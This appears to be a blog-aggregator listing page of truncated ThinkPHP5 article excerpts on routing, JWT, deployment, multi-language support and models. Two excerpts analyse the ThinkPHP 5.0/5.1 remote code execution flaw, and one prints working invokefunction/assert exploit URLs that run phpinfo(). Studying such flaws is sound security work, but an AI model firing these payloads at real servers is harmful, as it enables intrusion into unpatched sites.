thinkphp5

22.ThinkPHP5框架缺陷导致远程命令执行

怎甘沉沦 提交于 2020-02-23 08:56:47
前言: 昨天爆出了ThinkPHP5框架缺陷导致远程命令执行,大佬们都赶上潮流挖洞,小白还是默默学习一下这个漏洞 漏洞影响范围: Thinkphp 5.1.0 - 5.1.31 Thinkphp 5.0.5 - 5.0.23 漏洞产生原因: Thinkphp5.x版本(5.0.20)中没有对路由中的控制器进行严格过滤,在存在 admin,index 模块、没有开启强制路由的条件下(默认不开启),导致可以注入恶意代码利用反射类调用命名空间其他任意内置类,完成远程代码执行。 漏洞分析: 既然是没有正确处理控制器名 $controller ,从最开始获取控制器名的代码来看: 发现在 $controller 中有过滤字符串中的 HTML 标签的strip_tags()函数,网站没有开启强制路由,问题可能出现在路由调度时,来看执行路由调度的代码: 其中使用了 $this->app->controller 的方法来实例化控制器,然后调用实例化中的方法,跟进controller方法: 其中通过 parseModuleAndClass 方法解析出 $module , $class 。然后实例化 $class 。 着重看一下 parseModuleAndClass 方法: 发现 $name 如果以反斜线\开始时,直接进入第一个if判断,将 $name 直接作为类名,如果可以控制 $name

thinkphp5在URL地址里隐藏模块名

牧云@^-^@ 提交于 2020-02-18 14:38:45
新的Thinkphp5的路由功能很强大,完全可以自定义以满足自己的要求 ThinkPHP5.0的路由规则如下: http://serverName/index.php/module/controller/action/param/value/... 我们不仅可以通过Apache的.htaccess配置文件在url中隐藏index.php 还可以 通过以下自定义路由配置 隐藏控制名,以达到URL更简短的效果 你的route.php配置如下 <?php /* * @Author: huangyuan * @Date: 2017-03-01 14:39:37 * @Last Modified by: huangyuan413026@163.com * @Last Modified time: 2017-03-01 14:39:37 * @Description: 路由配置,在URL中隐藏模块名 */ return [ //默认首页 ''=>'index/index', //未隐藏模块名 http://tp5.com/index/5 // 'index:name'=>['index/hello',['name'=>'\w+']], //隐藏模块名 http://tp5.com/5 ':name'=>['index/hello',['name'=>'\w+']], // 路由分组 '[]'=

thinkphp5.0&5.1命令执行 和 thinkphp3.2.3sql注入

好久不见. 提交于 2020-02-10 21:53:54
Thinkphp5.0.x 环境搭建 直接将源码解压就行,访问 public 目录即可,例如 http://127.0.0.1/cms/thinkphp/public Thinkphp5.0.x 远程代码执行 payload : http://127.0.0.1/cms/thinkphp/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo() Thinkphp5.1.x 搭建方法和 5.0.x 一样 Payload : http://127.0.0.1/cms/tp5.1/public/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert http://127.0.0.1/cms/tp5.1/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo() http://127.0.0.1/cms/tp5.1/public/index.php?s=index/

ThinkPHP5使用jwt进行会话验证

帅比萌擦擦* 提交于 2020-02-10 08:21:04
以往,没有做过前后端分离的项目之前,都是服务器渲染的模板,然后用cookie和session进行账号的权限验证或者是登录状态的管理。后来接触了vue和小程序之后,在进行前后端分离的时候,就会遇到权限验证和登录会话保存。因为HTTP协议是开放的,可以任人调用。所以,如果接口不希望被随意调用,就需要做访问权限的控制,认证是好的用户,才允许调用API。 JWT优点 1:服务端不需要保存传统会话信息,没有跨域传输问题,减小服务器开销。 2:jwt构成简单,占用很少的字节,便于传输。 3:json格式通用,不同语言之间都可以使用。 jwt由三部分组成: 头部(header) 载荷(payload) 包含一些定义信息和自定义信息 签证(signature) 所以这里就会用到bearer的令牌访问,就是jwt;定义:为了验证使用者的身份,需要客户端向服务器端提供一个可靠的验证信息,称为Token,这个token通常由Json数据格式组成,通过hash散列算法生成一个字符串,所以称为Json Web Token(Json表示令牌的原始值是一个Json格式的数据,web表示是在互联网传播的,token表示令牌,简称JWT) 首先我们从GitHub处用 composer require firebase/php-jwt 下载firebase/php-jwt,怎么用composer我就不累述了

thinkphp5 URL的访问

怎甘沉沦 提交于 2020-02-09 05:38:47
ThinkPHP 采用单一入口模式访问应用,对应用的所有请求都定向到应用的入口文件,系统会从 URL 参数中解析当前请求的模块、控制器和操作,下面是一个标准的 URL 访问格式: localhost/index.php/模块/控制器/操作 而且访问时不需要区分大小写,无论URL是否开启大小写转换,模块名都会强制小写。 1.应用的 index 模块的 Index 控制器定义如下: <?php namespace app\index\controller; //命名空间 class Index{ //控制器名称 public function index(){ //方法名称 return 'index'; //用return输出而不要用echo } public function hello($name = 'World'){ //方法里可以放变量 return 'Hello,' . $name . '!';      //这里引用了$name变量,中间拼接用"." } } 现在访问的路径为 localhost/index/index/hello 访问URL地址后页面输出结果为: Hello,World! 如果要访问控制器的hello方法,则需要使用完整的URL地址 localhost/index/index/hello/name/tp5 访问URL地址后页面输出结果为: Hello

ThinkPHP5框架缺陷导致远程命令执行(POC整合帖)

南笙酒味 提交于 2020-01-30 00:37:02
摘要 近日thinkphp团队发布了版本更新https://blog.thinkphp.cn/869075 ,其中修复了一处getshell漏洞。 影响范围 5.x < 5.1.31 <= 5.0.23 危害 远程代码执行 漏洞分析 以下漏洞分析源于斗鱼SRC公众号:斗鱼安全应急响应中心 分析补丁: 802f284bec821a608e7543d91126abc5901b2815 路由信息中 controller 的部分进行了过滤,可知问题出现在路由调度时。 以5.1.23版本进行分析,执行路由调度的代码如下: 其中使用了 $this->app->controller 方法来实例化控制器,然后调用实例中的方法。跟进 controller 方法: 其中通过parseModuleAndClass方法解析出 $module 和 $class ,然后实例化 $class 。 rseModuleAndClass 方法中,当 $name 以反斜线\开始时直接将其作为类名。利用命名空间的特点,如果可以控制此处的 $name (即路由中的controller部分),那么就可以实例化任何一个类。 接着,我们再往回看路由解析的代码。其中 route/dispatch/Url.php:: parseUrl 方法调用了 route/Rule.php:: parseUrlPath 来解析 pathinfo

阿里云虚拟主机安装 ThinkPHP5.0.24 框架

ε祈祈猫儿з 提交于 2020-01-28 12:17:17
一、前言 最近有个小项目需要使用框架,一狠心决定抛弃 ThinkPHP3.2.3 直接使用新版本(ThinkPHP5.0.24)。在阿里云虚拟主机部署的时候遇到了些小问题,狂搜了很久才得已解决。写在这里,给新手节约些时间。 二、操作流程 第一步,下载框架 没什么好说的,直接官网下载最近版本的框架,本文中使用的版本是 ThinkPHP5.0.24。核心版和完整版都可以,新手建议下载完整版,便于以后学习。 下载地址:http://www.thinkphp.cn/down.html 第二步,上传ThinkPHP到阿里云服务器 用自己喜欢的工具打开阿里云服务器,这里我用 FlashFXP。 根目录中有若干文件夹,但是我们只能操作 htdocs 文件夹,其它的都是只读的。把 ThinkPHP5 解压到本地文件夹以后,直接拖拽到这个文件夹里。 我的文件是 thinkphp5 , 这是文件夹里面的内容。 第三步,设置 .htaccess 文件(重要) 经过以上步骤后,ThinkPHP5 已经成功的安装到服务器上了,但是通过 URL 访问时会提示错误,因为在根目录中没有可访问的资源文件。ThinkPHP5的入口文件在 /htdocs/thinkphp5/public 文件夹中,所以必须设置服务器默认访问这个文件夹而不是根目录。方法就是在 htdocs 文件夹中 新建一个 “.htaccess”文件

thinkphp5 多语言

你。 提交于 2020-01-23 02:31:33
thinkphp5多语言( 原理 : 根据不同的参数lang来加载不同的语言文件 ) 1.application 目录下 新建lang文件夹,并新建两个文件zh-cn.php和en-us.php 编辑代码 zh-cn.php <?php return [ 'test'=> "中文", 'name'=>'叶子', ]; en-us.php <?php return [ 'test'=> "English", 'name'=>'wind find', ]; ?> 2.入口文件IndexController或者其继承公共的控制器 编辑构造函数 public function __construct() { $lang=$_GET['lang']; switch ($lang) { case 'en': Lang::load(APP_PATH . 'lang/en-us.php'); break; case 'zn': Lang::load(APP_PATH . 'lang/zh-cn.php'); break; default: Lang::load(APP_PATH . 'lang/zh-cn.php'); break; } } 3.视图中输出即可 {:lang('name')} 来源: CSDN 作者: itmaomao123456 链接: https://blog.csdn.net

thinkphp5基础

删除回忆录丶 提交于 2020-01-17 15:44:34
【thinkphp5框架的目录结构,以及使用框架model 、controler、view的使用,以及错误调试和日志记录 】 ThinkPHP5 在php5.5版本以上”No input file specified“问题解决:   public/.htaccess文件中的   RewriteRule ^(.*)$ index.php/$1 [QSA,PT,L]   在默认情况下会导致No input file specified.   修改成   RewriteRule ^(.*)$ index.php [L,E=PATH_INFO:$1]   问题解决 配置文件的使用 application/index.controller/Demo.php <?php namespace app\index\controller; use think\Config; class Demo extends Base{ // 配置文件的使用 public function config() { // 默认一页显示15条 $config = Config::get("paginate"); dump($config);//15 $config = config("paginate.type"); dump(config("?paginate"));//boolean true $config =

ThinkPHP5——模型查询返回的对象转换为数组

一笑奈何 提交于 2020-01-07 04:38:35
使用模型查询的返回的 结果集为对象,其中里面的数据,TP5框架会自动对里面的data:protected该项进行处理。 但有时我们就想要数据,就想返回一个数组就可以了,怎么办?有两种方法可以实现: 方法一:找到TP5框架中的database.php文件,该文件中找到 resultset_type 该项,将后面的 array 改成 \think\Collection 【注意大小写】 // 数据集返回类型 'resultset_type' => 'array', 改为 // 数据集返回类型 'resultset_type' => '\think\Collection', 在查询数据的时候,在后面加上 ->toArray(); 例如: $data = User::select() -> toArray(); 方法二:在模型里设置 首先在Model中添加该属性: protected $resultSetType = 'collection'; 在查询数据的时候,在后面加上 ->toArray(); 例如: $data = User::select() -> toArray(); tp5输出的数组如何放到js里使用 var arr = {:json_encode($user)}; console.log(arr) 输出打印结果如下: (2) [{…}, {…}] 来源: https:/